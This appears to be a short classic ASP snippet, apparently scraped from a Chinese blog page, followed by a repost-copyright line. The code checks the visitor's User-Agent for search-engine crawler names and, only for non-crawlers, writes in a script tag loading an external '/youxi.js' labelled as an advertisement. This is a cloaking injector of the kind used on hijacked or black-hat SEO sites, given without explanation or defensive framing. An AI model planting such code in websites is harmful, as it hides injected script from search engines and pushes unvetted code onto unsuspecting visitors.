<%
function checkbd()
dim i,agent,searray
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")
checkbd= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then checkbd=true
next
end function
dim guangao
guangao = "<script type=\'text\/javascript\' src=\'\/youxi.js\'><\/script>"
%>
<%if checkbd()=false then %>
document.writeln('<%= guangao %>');
<%End If%>
涂涂研版版权所有，如未注明 , 均为原创，转载需注明出处。
